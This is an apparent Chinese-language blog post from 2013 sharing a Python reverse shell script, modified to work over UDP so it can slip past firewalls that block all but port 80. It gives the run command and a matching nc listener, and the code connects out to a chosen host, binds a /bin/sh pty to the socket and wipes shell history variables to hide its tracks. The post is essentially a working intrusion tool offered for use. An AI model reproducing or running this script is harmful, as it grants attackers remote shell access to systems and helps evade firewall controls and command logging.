python 反弹shell,加了UDP

用来对付一些把除了80端口都封了的变态网管

用法 back.py 123.123.123.123 53 udp

nc监听:

nc -l 53 -u

后面不加udp的话还是默认的tcp

因为udp没有sequence的特性,当数据超过1个数据包的大小时会错位,具体多大会分包不太清楚,我记得是1500字节?好像和MTU有关。命令不要打太长就行了(一般情况下好像基本不会有1500个字符的命令)

其实就加了4行……

# -*- coding:utf-8 -*-
#!/usr/bin/env python
"""
back connect py version,only linux have pty module
code by google security team
UDP by anthrax@insight-labs.org
"""
import sys,os,socket,pty
shell = "/bin/sh"
def usage(name):
    print 'python reverse connector'
    print 'usage: %s <ip_addr> <port> [udp]' % name

def main():
    if len(sys.argv) <3:
        usage(sys.argv[0])
        sys.exit()
    s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    try:
        if sys.argv[3]=='udp':
            s=socket.socket(socket.AF_INET,socket.SOCK_DGRAM)
    except:pass
    try:
        s.connect((sys.argv[1],int(sys.argv[2])))
        print 'connect ok'
    except:
        print 'connect faild'
        sys.exit()
    os.dup2(s.fileno(),0)
    os.dup2(s.fileno(),1)
    os.dup2(s.fileno(),2)
    global shell
    os.unsetenv("HISTFILE")
    os.unsetenv("HISTFILESIZE")
    os.unsetenv("HISTSIZE")
    os.unsetenv("HISTORY")
    os.unsetenv("HISTSAVE")
    os.unsetenv("HISTZONE")
    os.unsetenv("HISTLOG")
    os.unsetenv("HISTCMD")
    os.putenv("HISTFILE",'/dev/null')
    os.putenv("HISTSIZE",'0')
    os.putenv("HISTFILESIZE",'0')
    pty.spawn(shell)
    s.close()

if __name__ == '__main__':
    main()

 

posted on 2013-08-21 12:43  =_=!  阅读(1208)  评论(0编辑  收藏  举报

导航